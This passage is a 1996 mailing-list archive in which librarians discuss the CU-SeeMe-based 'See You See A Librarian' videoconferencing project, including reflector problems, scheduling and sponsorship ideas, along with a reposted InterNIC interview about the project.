Mandate the librarians experiement with the hardware and software for a limited period of time knowing that new services were going to be implemented on a specific date in the future. 3. Advertize, advertize, and then advertize the service to the intended beneficiaries of the service. 4. Get the University's administration or computing center to equip computing labs with the necessary hardware and software to do CU-SeeMe. 5. Bring up the service on the predefined date. In summary, I believe video conferencing can be used effectivly in library settings. Unfortunately, even though librarians work in learning/teaching/academic/exploration settings, it is difficult for librarians to act in learning/teaching/academic/exploration modes. It is difficult not because librarians don't have the necessary skills, but rather there seems to little time for these sorts of activities. It may seem oxymoronic, but change is the norm. All insitutions must think about change and how to cope with it. Until this happens, innovations will not be explored with very much rigor until they are thrust upon us by outside forces. Hopefully we, as well as other professions, can learn to adjust. -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ >From morgan@ncsulib5.lib.ncsu.edu Tue Aug 20 08:58:56 1996 Received: by vega.lib.ncsu.edu; id AA10683; Tue, 20 Aug 1996 08:58:56 -0400 Received: from homam.lib.ncsu.edu by ncsulib5.lib.ncsu.edu with SMTP; Tue, 20 Aug 1996 8:56:28 -0400 (EDT) From: ""Eric Lease Morgan"" Message-Id: <960820085721.ZM6387@homam.lib.ncsu.edu> Date: Tue, 20 Aug 1996 08:57:19 -0400 Reply-To: eric_morgan@ncsu.edu X-Mailer: Z-Mail for Macintosh (3.3.1 27Mar96) To: see-a-librarian-l@vega.lib.ncsu.edu Subject: debate Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii In order to fulfill my self-imposed requirements of Stage #2 of the See You See A Librarian project (Librarians on Librarianship), I have tried to coordinate a debate. In this debate each side of an argument would be given 10 minutes to state their case and 5 minutes for rebuttal. During the debate others, like yourselves, could lurk and watch. Thus, this sort of use of CU-SeeMe would provide immediate responses to issues and would not require people to write their responses. At the same time, the person with the more carisma may seem to present their idea better. I propose(d) the debate be on some ""hot"" topic of the day such as cataloging Internet resources. I have contacted four different people that I identified as possible debators, but alas, none of these people had the necessary hardware and software to do full CU-SeeMe. Can you think of a ""hot"" topic to debate, AND can you think of some people who may be able to defend either side of the topic's issues? -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ >From morgan@ncsulib5.lib.ncsu.edu Tue Aug 20 09:05:19 1996 Received: by vega.lib.ncsu.edu; id AA10938; Tue, 20 Aug 1996 09:05:19 -0400 Received: from homam.lib.ncsu.edu by ncsulib5.lib.ncsu.edu with SMTP; Tue, 20 Aug 1996 8:59:21 -0400 (EDT) From: ""Eric Lease Morgan"" Message-Id: <960820090015.ZM6387@homam.lib.ncsu.edu> Date: Tue, 20 Aug 1996 09:00:12 -0400 Reply-To: eric_morgan@ncsu.edu X-Mailer: Z-Mail for Macintosh (3.3.1 27Mar96) To: see-a-librarian-l@vega.lib.ncsu.edu Subject: Stage #3 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii I am seriously thinking of cancelling Stage #3 of the Project (Librarians Fostering Knowledge) because I believe there is not a critical mass of librarians who own the necessary hardware and software to do CU-SeeMe. What do you thinque? -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ >From pzilius@umich.edu Tue Aug 20 10:00:36 1996 Received: by vega.lib.ncsu.edu; id AA11400; Tue, 20 Aug 1996 10:00:36 -0400 Received: from localhost by tempest.rs.itd.umich.edu (8.7.5/2.2) id JAA06473; Tue, 20 Aug 1996 09:56:39 -0400 (EDT) Date: Tue, 20 Aug 1996 09:56:39 -0400 (EDT) From: ""Pamela M. Zilius"" X-Sender: pzilius@tempest.rs.itd.umich.edu Reply-To: ""Pamela M. Zilius"" To: see-a-librarian-l@vega.lib.ncsu.edu Subject: Stage #3 Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I think that if you posted ""hours"" for this discussion to happen, say between 3-6 EST Monday, Wednesday, and Friday, a lot more people would be likley to sign on. In my case, I'm too busy to sign on all the time and hope someone else comes along. But if I knew other people would probably be there, I'd not only sign myself on, I'd advertise it to others so that people could come to our high-tech lab and do it too. Knowing something would be going on would make them more likely to come. I think it's a great idea, and please keep it running. In the future you might look at a purposeful distribution of necessary software/hardware across several institutions' libraries, along with troubleshooting and installation help. That might prove your point that people would use it if the hardware/software were available. good luck! -Pam Zilius-Careaga ------------------------------------------ Pamela Zilius-Careaga pzilius@umich.edu Media Union/Science Libraries University of Michigan 313-763-4837 ------------------------------------------ On Tue, 20 Aug 1996, Eric LeaseMorgan wrote: > > I am seriously thinking of cancelling Stage #3 of the Project > (Librarians Fostering Knowledge) because I believe there is not a > critical mass of librarians who own the necessary hardware and software > to do CU-SeeMe. > > What do you thinque? > > > -- > Eric Lease Morgan > NCSU Libraries > http://www.lib.ncsu.edu/staff/morgan/ >",0,1 Jim Kenyon ,"Jeff Aspinall , David Hunsche ","Thu, 25 Jul 1996 12:41:23 -0400",HP735 Computer (fwd),"FYI -- it can be a general access compute server. -jk Jim Kenyon, Director of Information Technology University of Michigan, School of Public Health ---------- Forwarded message ---------- Date: Thu, 25 Jul 1996 10:03:37 -0400 (EDT) From: Bob Williams To: Barbara Black Cc: Jim Kenyon Subject: HP735 Computer Hi Mrs. Black: I no longer need the HP735 machine in my office. Because the machine is the property of the University, I have spoken with Jim Kenyon about moving the machine to the Department machine room for general use by students and faculty in the SPH. He will make the physical move in August when you need me to vacate the current office space. Please update the inventory file regarding location and use of the computer. Thank you. Bob --------------------------------------------------------------- Robert M. Williams, M.D., Dr.P.H. 616-526-6839 University of Michigan School of Public Health 616-526-9040 FAX Department of Health Management and Policy M3224 SPH II erdoctor@umich.edu 1420 Washington Heights erdoctor@freeway.net Ann Arbor, MI 48109-2029",0,0 Alejandro Garza Gonzalez ,see-a-librarian-l@vega.lib.ncsu.edu,"Tue, 20 Aug 1996 09:06:21 -0600",Re: Stage #3,"For the past two weeks or so, I have been trying to connect to both reflectors, but I have found that one of both is always or almost always down. IMO, this has discouraged people from connecting. However, there is truth in there not being, at least, a known base of librarians equipped to do 'full' cu-seeme. I am at a loss as to how to find those that are... How about getting Connectix to sponsor the project and supply it with, say, 10 QuickCams? (Crazy Idea) _ alejandro garza _________________ __ _ _ _ _ ITESM Centro de Informacion-Biblioteca Monterrey agarza@campus.mty.itesm.mx _ http://www-cib.mty.itesm.mx/ ____ __ _ _ _ _ On Tue, 20 Aug 1996, Eric Lease Morgan wrote: > I am seriously thinking of cancelling Stage #3 of the Project > (Librarians Fostering Knowledge) because I believe there is not a > critical mass of librarians who own the necessary hardware and software > to do CU-SeeMe. > > What do you thinque? > > -- > Eric Lease Morgan > NCSU Libraries > http://www.lib.ncsu.edu/staff/morgan/ >From ehschnel@magnus.acs.ohio-state.edu Tue Aug 20 11:44:21 1996 Received: by vega.lib.ncsu.edu; id AA13211; Tue, 20 Aug 1996 11:44:21 -0400 Received: from auto3 (hsl-auto3.med.ohio-state.edu [140.254.71.180]) by mail2.uts.ohio-state.edu (8.7.5/8.7.3) with SMTP id LAA28078 for ; Tue, 20 Aug 1996 11:40:24 -0400 (EDT) Message-Id: <2.2.32.19960820154305.002f40f4@pop.service.ohio-state.edu> X-Sender: ehschnel@pop.service.ohio-state.edu X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Tue, 20 Aug 1996 11:43:05 -0400 To: see-a-librarian-l@vega.lib.ncsu.edu From: Eric Schnell Subject: Re: Stage #3 At 09:05 AM 8/20/96 -0400, Eric Lease Morgan wrote: > >I am seriously thinking of cancelling Stage #3 of the Project >(Librarians Fostering Knowledge) because I believe there is not a >critical mass of librarians who own the necessary hardware and software >to do CU-SeeMe. > I have to agree. I think this is a great concept which time will come. My problem is I can't quite convince my Director to spend the $ to get me up and running alone. Eric, you're ahead of your time... -Eric Eric Schnell, Head of Automation Services Prior Health Sciences Library, Ohio State schnell.9@osu.edu 614-292-4870 http://bones.med.ohio-state.edu/eric.html",0,1 Tony.Barry@anu.edu.au,see-a-librarian-l@vega.lib.ncsu.edu,"Wed, 21 Aug 1996 15:14:11 +1000",Re: Stage #3,"At 09:05 on 96/08/20, Eric Lease Morgan wrote: > not a > critical mass of librarians who own the necessary hardware and software > to do CU-SeeMe. > > What do you thinque? Not yet but pretty soon video and audio conferencing will become integrated into WWW. chat facilities are there already and audio facilities. The scope of the list could be widened? Tony ______________________________________________ Email : Tony.Barry@library.anu.edu.au Vision & voice : CUSeeMe - ningaui.anu.edu.au Voice : +61 6 249 4632 Fax: +61 6 279 8120 Details : http://snazzy.anu.edu.au/People/TonyB.html Head, Center for Networked Access to Scholarly Information, Australian National University Library, A.C.T. 0200, AUSTRALIA. ",0,1 Tony.Barry@anu.edu.au,see-a-librarian-l@vega.lib.ncsu.edu,"Wed, 21 Aug 1996 15:14:14 +1000",Re: Stage #3,"At 10:01 on 96/08/20, Pamela M. Zilius wrote: > I think that if you posted ""hours"" for this discussion to happen, say > between 3-6 EST Monday, Wednesday, and Friday, a lot more people would be > likley to sign on. Hey! I'm still in bed 3pm your time but will have just made it to work 6pm! Tony ______________________________________________ Email : Tony.Barry@library.anu.edu.au Vision & voice : CUSeeMe - ningaui.anu.edu.au Voice : +61 6 249 4632 Fax: +61 6 279 8120 Details : http://snazzy.anu.edu.au/People/TonyB.html Head, Center for Networked Access to Scholarly Information, Australian National University Library, A.C.T. 0200, AUSTRALIA. ",0,1 Graham Daniels ,see-a-librarian-l@vega.lib.ncsu.edu,"Wed, 21 Aug 1996 11:42:48 -0700",Re: Stage #3,"Hi all, Have recently purchased a couple of cameras but often had trouble connecting to the reflectors, or there have been very few other people online. I think we need to explore the possibilites for this type of technology; would like to see the project continue. Regards, Graham. ********************* Graham Daniels Systems Librarian Coventry University United Kingdom lbx001@coventry.ac.uk ********************* >From morgan@ncsulib5.lib.ncsu.edu Fri Aug 23 09:46:28 1996 Received: by vega.lib.ncsu.edu; id AA20924; Fri, 23 Aug 1996 09:46:28 -0400 Received: from homam.lib.ncsu.edu by ncsulib5.lib.ncsu.edu with SMTP; Fri, 23 Aug 1996 9:44:00 -0400 (EDT) From: ""Eric Lease Morgan"" Message-Id: <960823094457.ZM9807@homam.lib.ncsu.edu> Date: Fri, 23 Aug 1996 09:44:54 -0400 In-Reply-To: ""Pamela M. Zilius"" ""Stage #3"" (Aug 20, 10:01am) References: Reply-To: eric_morgan@ncsu.edu X-Mailer: Z-Mail for Macintosh (3.3.1 27Mar96) To: see-a-librarian-l@vega.lib.ncsu.edu Subject: Re: Stage #3 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii On Aug 20, 10:01am, Pamela M. Zilius wrote: > Subject: Stage #3 > > I think that if you posted ""hours"" for this discussion to happen, say > between 3-6 EST Monday, Wednesday, and Friday, a lot more people would be > likley to sign on. I believe this is a good idea too, and for the sake of argument, lets' make this the standing ""meeting"" time. > In my case, I'm too busy to sign on all the time and hope someone else > comes along. But if I knew other people would probably be there, I'd not > only sign myself on, I'd advertise it to others so that people could come > to our high-tech lab and do it too. Knowing something would be going on > would make them more likely to come. After a bit of software tweeking, I believe I can be online almost all the time. For a limited time I will try to hangout all day long. > I think it's a great idea, and please keep it running. In the future you > might look at a purposeful distribution of necessary software/hardware > across several institutions' libraries, along with troubleshooting and > installation help. That might prove your point that people would use it if > the hardware/software were available. Please be more specific. Can you suggest a plan? -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ >From morgan@ncsulib5.lib.ncsu.edu Fri Aug 23 09:48:47 1996 Received: by vega.lib.ncsu.edu; id AA20976; Fri, 23 Aug 1996 09:48:47 -0400 Received: from homam.lib.ncsu.edu by ncsulib5.lib.ncsu.edu with SMTP; Fri, 23 Aug 1996 9:46:19 -0400 (EDT) From: ""Eric Lease Morgan"" Message-Id: <960823094716.ZM9807@homam.lib.ncsu.edu> Date: Fri, 23 Aug 1996 09:47:13 -0400 In-Reply-To: Alejandro Garza Gonzalez ""Re: Stage #3"" (Aug 20, 10:11am) References: Reply-To: eric_morgan@ncsu.edu X-Mailer: Z-Mail for Macintosh (3.3.1 27Mar96) To: see-a-librarian-l@vega.lib.ncsu.edu Subject: Re: Stage #3 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii On Aug 20, 10:11am, Alejandro Garza Gonzalez wrote: > Subject: Re: Stage #3 > For the past two weeks or so, I have been trying to connect to both > reflectors, but I have found that one of both is always or almost always > down. IMO, this has discouraged people from connecting. Remember, if you connect to one reflector no one may be there. If you then immediately connect to the other reflector it will give you an error message (No response.) Wait about one minute and your connection to the other reflector will be estabolished. > How about getting Connectix to sponsor the project and supply it with, > say, 10 QuickCams? (Crazy Idea) I like this idea. Can you think of a more formal proposal? -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ >From morgan@ncsulib5.lib.ncsu.edu Fri Aug 23 09:53:51 1996 Received: by vega.lib.ncsu.edu; id AA21081; Fri, 23 Aug 1996 09:53:51 -0400 Received: from homam.lib.ncsu.edu by ncsulib5.lib.ncsu.edu with SMTP; Fri, 23 Aug 1996 9:51:22 -0400 (EDT) From: ""Eric Lease Morgan"" Message-Id: <960823095219.ZM9807@homam.lib.ncsu.edu> Date: Fri, 23 Aug 1996 09:52:17 -0400 In-Reply-To: Tony.Barry@anu.edu.au (Tony Barry) ""Re: Stage #3"" (Aug 21, 8:45am) References: Reply-To: eric_morgan@ncsu.edu X-Mailer: Z-Mail for Macintosh (3.3.1 27Mar96) To: see-a-librarian-l@vega.lib.ncsu.edu Subject: Re: Stage #3 : scope of list Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii On Aug 21, 8:45am, Tony Barry wrote: > Subject: Re: Stage #3 > At 09:05 on 96/08/20, Eric Lease Morgan wrote: > > > not a > > critical mass of librarians who own the necessary hardware and software > > to do CU-SeeMe. > > > > What do you thinque? > > Not yet but pretty soon video and audio conferencing will become integrated > into WWW. chat facilities are there already and audio facilities. The scope > of the list could be widened? Yes, video and audio may be integrated into our WWW browsers, but they will still need the video and audio hardware to drive the software. Where are all those multi-media PCs? I am hesitant to widen the scope of this list at the present time. -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ >From morgan@ncsulib5.lib.ncsu.edu Fri Aug 23 09:57:44 1996 Received: by vega.lib.ncsu.edu; id AA21175; Fri, 23 Aug 1996 09:57:44 -0400 Received: from homam.lib.ncsu.edu by ncsulib5.lib.ncsu.edu with SMTP; Fri, 23 Aug 1996 9:55:16 -0400 (EDT) From: ""Eric Lease Morgan"" Message-Id: <960823095613.ZM9807@homam.lib.ncsu.edu> Date: Fri, 23 Aug 1996 09:56:11 -0400 In-Reply-To: Tony.Barry@anu.edu.au (Tony Barry) ""Re: Stage #3"" (Aug 21, 8:45am) References: Reply-To: eric_morgan@ncsu.edu X-Mailer: Z-Mail for Macintosh (3.3.1 27Mar96) To: see-a-librarian-l@vega.lib.ncsu.edu Subject: Re: Stage #3 : ""down under"" reflector? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii On Aug 21, 8:45am, Tony Barry wrote: > Subject: Re: Stage #3 > At 10:01 on 96/08/20, Pamela M. Zilius wrote: > > > I think that if you posted ""hours"" for this discussion to happen, say > > between 3-6 EST Monday, Wednesday, and Friday, a lot more people would be > > likley to sign on. > > Hey! I'm still in bed 3pm your time but will have just made it to work 6pm! Do you think you could set up a UNI-CAST reflector downunder? I would require a Unix computer on fairly high speed connection. I can supply you with the necessary configuration file. -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ >From morgan@ncsulib5.lib.ncsu.edu Fri Aug 23 10:00:32 1996 Received: by vega.lib.ncsu.edu; id AA21259; Fri, 23 Aug 1996 10:00:32 -0400 Received: from homam.lib.ncsu.edu by ncsulib5.lib.ncsu.edu with SMTP; Fri, 23 Aug 1996 9:58:03 -0400 (EDT) From: ""Eric Lease Morgan"" Message-Id: <960823095900.ZM9807@homam.lib.ncsu.edu> Date: Fri, 23 Aug 1996 09:58:58 -0400 In-Reply-To: Graham Daniels ""Re: Stage #3"" (Aug 21, 8:46am) References: <321B58A8.CF9@coventry.ac.uk> Reply-To: eric_morgan@ncsu.edu X-Mailer: Z-Mail for Macintosh (3.3.1 27Mar96) To: see-a-librarian-l@vega.lib.ncsu.edu Subject: Re: Stage #3 : ""hanging out"" Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii > Have recently purchased a couple of cameras but often had trouble > connecting to the reflectors, or there have been very few other people > online. > > I think we need to explore the possibilites for this type of technology; > would like to see the project continue. Thank you for your support. There is no reason why you can't connect to the reflectors and just hang out; you can wait for someone else to arrive. If you are concerned about taking up unnecessary bandwidth, then you can tell your CU-SeeMe program to stop sending audio and video. When somebody does connect to the reflector, you should hear a clicking sound. At that time you can start sending input. -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ >From agarza@ci.mty.itesm.mx Fri Aug 23 10:22:00 1996 Received: by vega.lib.ncsu.edu; id AA22197; Fri, 23 Aug 1996 10:22:00 -0400 Received: from ci.mty.itesm.mx (ci.mty.itesm.mx [131.178.23.20]) by campus.mty.itesm.mx (8.6.9/8.6.9) with SMTP id JAA41328 for ; Fri, 23 Aug 1996 09:11:35 -0600 Date: Fri, 23 Aug 1996 09:17:39 -0600 (GMT-0600) From: Alejandro Garza Gonzalez To: see-a-librarian-l@vega.lib.ncsu.edu Subject: Re: Obtaining support from sponsors... In-Reply-To: <960823094716.ZM9807@homam.lib.ncsu.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII > > How about getting Connectix to sponsor the project and supply it with, > > say, 10 QuickCams? (Crazy Idea) > > I like this idea. Can you think of a more formal proposal? Well, I can think of what See-You-See-A-Librarian would mean for general internet users, as a group of Librarians offering expertise to find what they want in a vast sea of [chaotic?] knowledge. I can't think of a higher value-added service, given the right tools and kinds of people at both ends. I would think that it would be advantageous for any company to relate itself with the project; and what better way for Connectix to showcase their affordable, widely available and easy-to-use technologies? Come to think of it, White Pine (who sells Enhanced Cu-SeeMe) could get into the act too. Opinions? > Eric Lease Morgan _ alejandro garza _________________ __ _ _ _ _ ITESM Centro de Informacion-Biblioteca Monterrey agarza@campus.mty.itesm.mx _ http://www-cib.mty.itesm.mx/ ____ __ _ _ _ _ >From morgan@ncsulib5.lib.ncsu.edu Fri Aug 23 13:55:06 1996 Received: by vega.lib.ncsu.edu; id AA23770; Fri, 23 Aug 1996 13:55:06 -0400 Received: from homam.lib.ncsu.edu by ncsulib5.lib.ncsu.edu with SMTP; Fri, 23 Aug 1996 13:52:37 -0400 (EDT) From: ""Eric Lease Morgan"" Message-Id: <960823135334.ZM9807@homam.lib.ncsu.edu> Date: Fri, 23 Aug 1996 13:53:32 -0400 In-Reply-To: Alejandro Garza Gonzalez ""Re: Obtaining support from sponsors..."" (Aug 23, 10:22am) References: Reply-To: eric_morgan@ncsu.edu X-Mailer: Z-Mail for Macintosh (3.3.1 27Mar96) To: see-a-librarian-l@vega.lib.ncsu.edu Subject: Re: Obtaining support from sponsors... Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii > ...Come to think of it, White Pine (who sells Enhanced Cu-SeeMe) could get > into the act too. I will think about these things some more. Thanks! -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ >From morgan@ncsulib5.lib.ncsu.edu Wed Aug 28 11:31:25 1996 Received: by vega.lib.ncsu.edu; id AA21868; Wed, 28 Aug 1996 11:31:25 -0400 Received: from homam.lib.ncsu.edu by ncsulib5.lib.ncsu.edu with SMTP; Wed, 28 Aug 1996 11:28:54 -0400 (EDT) From: ""Eric Lease Morgan"" Message-Id: <960828112958.ZM110490@homam.lib.ncsu.edu> Date: Wed, 28 Aug 1996 11:29:55 -0400 In-Reply-To: Alejandro Garza Gonzalez ""Re: Obtaining support from sponsors..."" (Aug 23, 10:22am) References: Reply-To: eric_morgan@ncsu.edu X-Mailer: Z-Mail for Macintosh (3.3.1 27Mar96) To: see-a-librarian-l@vega.lib.ncsu.edu Subject: Re: Obtaining support from sponsors... Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii > I would think that it would be advantageous for any company to relate > itself with the project; and what better way for Connectix to showcase > their affordable, widely available and easy-to-use technologies? After giving it some more thought and talking to a few people, this may be a good idea, but I am not going to persue it. Thanks for the idea. -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ >From morgan@ncsulib5.lib.ncsu.edu Thu Sep 5 14:58:46 1996 Received: by vega.lib.ncsu.edu; id AA12745; Thu, 5 Sep 1996 14:58:46 -0400 Received: from homam.lib.ncsu.edu by ncsulib5.lib.ncsu.edu with SMTP; Thu, 5 Sep 1996 14:56:14 -0400 (EDT) From: ""Eric Lease Morgan"" Message-Id: <960905145727.ZM8643@homam.lib.ncsu.edu> Date: Thu, 5 Sep 1996 14:57:23 -0400 Reply-To: eric_morgan@ncsu.edu X-Mailer: Z-Mail for Macintosh (3.3.1 27Mar96) To: see-a-librarian-l@vega.lib.ncsu.edu Subject: InterNIC interview Cc: robinm@internic.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii The following text has appeared in Robin Murphy, ""An Interview with Eric Lease Morgan"". InterNIC News 1:6 (September 1996). It is an interview describing my experiences with CU-SeeMe and the See You See A Librarian Project. You can read the original text in HTML at: http://rs.internic.net/nic-support/nicnews/cu-seeme-inter.html The lastest and back issues of InterNIC News can be found at: http://rs.internic.net/nic-support/nicnews/archive/ ===== An Interview with Eric Lease Morgan Director of the ""See You See a Librarian"" project at NCSU By Robin Murphy, InterNIC Support Services ------------------------------------------------------------------------ ---- See You See A Librarian is an experiment, directed by Eric Lease Morgan at North Carolina State University, to examine the use of CU-SeeMe technology in librarianship and information seeking. We conducted a brief interview with Eric to ask him about his project, what role he sees for videoconferencing in libraries, whether the library community is ""ready"" for videoconferencing. We also asked what advice he has for libraries considering adopting the technology. Eric can be reached directly for more information at eric_morgan@ncsu.edu. InterNIC: Can you provide a brief outline of your project? What gave you the idea for See You See A Librarian, and how did you go about implementing the project? ELM: Around Memorial Day I started asking myself how effective would the CU-SeeMe technology be in enhancing library services. Now-a-days, more and more real library work can be done by patrons without every coming to the library. Yet, there are times when a librarian's help is still needed to truely satisfy a patron's information need. It is a well known fact that communication is accomplished in many ways. Telephone communications offer immediacy but lack essential non-verbal aspects. Email mandates concise descriptions of problems. Face-to-face communication, even at a distance, could reduce the limitations of the email and telephone mediums. I began wondering whether or not face-to-face communications using some thing like CU-SeeMe would improve the ways librarians and their patrons could solve this problem - namely the problem of assisting patrons from remote distances. In an effort to learn more about CU-SeeMe, I used my desktop computer and started trying to connect to remote CU-SeeMe reflectors. To my dismay, most times, when connecting to these reflectors, I found nobody there. ""How am I suppose to explore this technology, if I can't see anybody."" Consequently, I decided to set up my own reflector(s) and formulate a plan. The plan, as described at http://sunsite.berkeley.edu/~emorgan/see-a-librarian/, has three parts: 1. Feasibility - this part is/was intended to see how many librarians have the necessary hardware and software to use CU-SeeMe. 2. Librarians on Librarianship - this part intends to focus discussions, using CU-SeeMe technology, on the issues of librarianship. 3. Librarians Fostering Knowledge - this part was intended to explore the feasility of providing reference services to Internet patrons using CU-SeeMe. Finally, I gave my project a cute name, ""See You See A Librarian,"" and sent an announcement to library-related mailing lists describing the project. InterNIC: What type of support do you have for the project (i.e. funding, resources, etc.) and where did/does it come from? How many people are involved on the management and operation of the project - from your institution or from other institutions? ELM: The project has the support of both the administration at the NCSU Libraries where I am employed and people who administer the Sunsite computer at the University of California-Berkeley (Roy Tenent). Thus, there are only a small handful of people involved in the management of the project, maybe five. The CU-SeeMe technology supports three types of communication: one-to-one, one-to-many, and many-to-many. To facilitate one-to-many and many-to-many communication, there needs to be an intermediary piece of software called a ""reflector."" This program ""reflects"" CU-SeeMe connections to other people who are connected to the reflector(s). Furthermore, reflectors can be ""connected"" to each other, so that people connected to one reflector can see the people reflected to the other reflectors. There are two reflectors used in this project. One is located at the NCSU Libraries (vega.lib.ncsu.edu) and the other is at UC-Berkeley (sunsite.berkeley.edu). InterNIC: Can you provide a brief statistical snapshot - number of institutions participating, number of individuals participating, demography of participants (i.e. trends relating to geography, size or type of institution, etc.)? Are any of the participants not libraries or librarians? ELM: Once the project got started in July, anybody with the necessary hardware and software was encouraged to participate. During the first month of the project more than at least 300 connections were made, either to the reflector at sunsite.berkeley.edu or to the one at vega.lib.ncsu.edu. There were certainly more connections than this, but I was unable to consistently extract the number of users from the sunsite reflector.log file. Of the connections made, everybody, with the exception of one person, made more than one connection to the reflectors. One person connected more than 115 times. The most popular connection days were July 8th - 15th, and very few connections were made later in the month. Generally speaking, more connections were made in the afternoon (Eastern Time) than other times of the day. Some of the people connecting were from the United Kingdom and Mexico, but the majority of people were from the United States. Based on my observations all the participants were librarians, people who worked in libraries, or people who worked for the library community (consultants). Of the librarians, the mix was evenly divided between academic, special, and state-supported libraries. The sizes of the insitutions represented by the participants is not known. InterNIC: Can you offer an analytical look at the use of the technology in the library field? What do you see as potential areas of use for the technology in the library field? What do you perceive to be the major drawbacks to using the technology - for the library field? What do you perceive as major advantages? ELM: The advantages and disadvantages of interactive video conferencing (CU-SeeMe) in the library field are pretty much the same advantages and disadvantages when applied to other communication endeavours. For example, CU-SeeMe requires special hardware and software in order to work, specifically video technology (a video camera) and audio technology (a microphone) as well as a high-speed Internet connection. While the Internet connection is becoming less and less of a barrier, it seems that the video/audio is the major stumbling block. Many library administrations do not support librarians with this sort of hardware. At the same time, this is understandable since no real uses of this technology have been readily demonstrated. There are a couple of other problems with the technology. For example, CU-SeeMe makes people conscious of their appearence to others. This sometimes makes people shy and not want to participate. In the other extreme, there exist on the Internet exhibitionists who intrude into CU-SeeMe reflectors and detract from the reflectors' intended use. Additionally, it is quite possible to impersonate somebody else using CU-SeeMe and commit slanderous acts. On the other hand, if the necessary hardware were universally available, then video conferencing could be used in numerous ways in Library Land. The most obvious example from the patron's perspective is for reference queries. There are many times when it would be helpful to speak to a librarian. While telephone communications are useful, video conferencing would transmit the non-verbal aspects of the reference interview process and quite possibly improve the service. Since telephones are not available throughout libraries, video conferencing could extend reference services to the patrons in the ""stacks"" if a wireless network were available. Unfortunately, the few patrons I have talked to concering these sorts of ideas have not been impressed. The common response is, ""I don't need CU-SeeMe to ask a reference question. I have a telephone for that."" These people do not understand the subtleties of the reference interview. From a library-only point of view, CU-SeeMe could be used to facilitate the training of library staff in places where travel is difficult. For example the state library system of Florida is trying the use of CU-SeeMe for just this purpose. Since the state is so extensively rural, the state librarians are finding the use of CU-SeeMe as a way to provide in-services to remote librarians. Another alternative is to use CU-SeeMe as a medium for live debates. For example, about a month ago there was a raging debate on a popular library-related mailing list. The topic of the debate was whether or not to catalog Internet resources. Some advocated the idea and others did not. I invited four people to express their opinions concerning the topic in a formal debate. While the debate takes place, others can ""lurk"" to watch the debate. This concept would have worked for many, many people, even if they did not have a video camera. Unfortunately, again, the people I contacted to debate the issue did not have the necessary equipment to use CU-SeeMe. InterNIC: Can you comment on the library field's ""readiness"" for CU-SeeMe and other videoconferencing and collaboration technologies? For example, where is the library profession now? Where do the profession need to be to be, in terms of both the technology and the skills, to really employ this technology to their advantage? What needs to happen to get the library profession to that point? ELM: I believe the library community is ready for this sort of technology. I believe all librarians would see the inherent possibilities of CU-SeeMe. At the same time, libraries are notoriously under-funded; libraries are not money-making organizations. Consequently, the budgets of libraries are limited and currently do not allow for very many experiments. Similarly, like everybody else, libraries feel under- staffed and to bring on new services, like the use of CU-SeeMe, will mean the elimination of other services. ""What services do we stop doing in order to provide this new one?"" In order to make the use of CU-SeeMe a reality in any institution I believe a number of things need to happen. First, there must be a commitment on the part of the library administration to purchase the necessary hardware. Second, the administration of the institution the library must commit to making the necessary hardware available to their constituencies. For example, video cameras could be made standard equipment in college computing labs. Next, either more staff are needed to provide the newer services or other services have to be eliminated. Once this happens, libraries could regularly staff the ""CU-SeeMe Stations,"" just as they staff the reference desk, and field remote reference queries. InterNIC: It appears that your project is initially aimed at providing an interactive platform for professional collaboration in the library field. How receptive have librarians been to the idea of using the technology for this purpose? Have you found that the interactive nature of the technology enhanced the collaboration process over, say, simple email exchanges? ELM: In general, librarians have been positive regarding the use of this technology, but the vast majority of them do not have the necessary hardware to participate. Additionally, even when given the opportunity to borrow the necessary hardware they are sometimes reluctant to participate since they have little time for experimentation. At this time, there is not enough experience from the project to know whether or not the ""technology enhanced the collaboration process over, say, simple email exchanges."" InterNIC: There can be little doubt that the Internet, particularly tools such as electronic mail and distributed information systems such as the World Wide Web, have had tremendous import for the nature of library work - how libraries conduct their business and carry out their missions, what that business and that mission is, and what is consequently required of the professionals in the field. Do you see CU-SeeMe and videoconferencing in general as having the same type of impact? Why or why not? ELM: While desktop video conferencing has the potential of enhancing library services quite a bit, I do not see desktop video significantly transforming library services. Libraries are about collecting, organizing, archiving, disseminating, and sometimes evaluating information. The use of CU-SeeMe or some other video conferencing technology only effects one aspect of those services (the dissemination process). Furthermore, I would personally like to see the realm of library services move from information mediation to knowledge mediation. The computer has enabled more and more people to acquire their own information without the use of a library. The real skill librarians posses is the ability to evaluate information. This evaluation process facilitates knowledge and I would like to see librarianship move in a more aggressive manner towards these goals. InterNIC: What advice or suggestions would you give a library considering the use of CU-SeeMe or other videoconferencing technology to deliver traditional library services? ELM: If I were to implement a full scale plan to incorporate something like CU-SeeMe into library services, I would: 1. Equip a goodly number of librarians with the necessary hardware and software. 2. Mandate the librarians experiment with the hardware and software for a limited period of time knowing that new services were going to be implemented on a specific date in the future. 3. Advertise, advertise, and then advertise the service to the intended beneficiaries of the service. 4. Get the University's administration or computing center to equip computing labs with the necessary hardware and software to use CU-SeeMe. 5. Bring up the service on the predefined date. In summary, I believe video conferencing can be 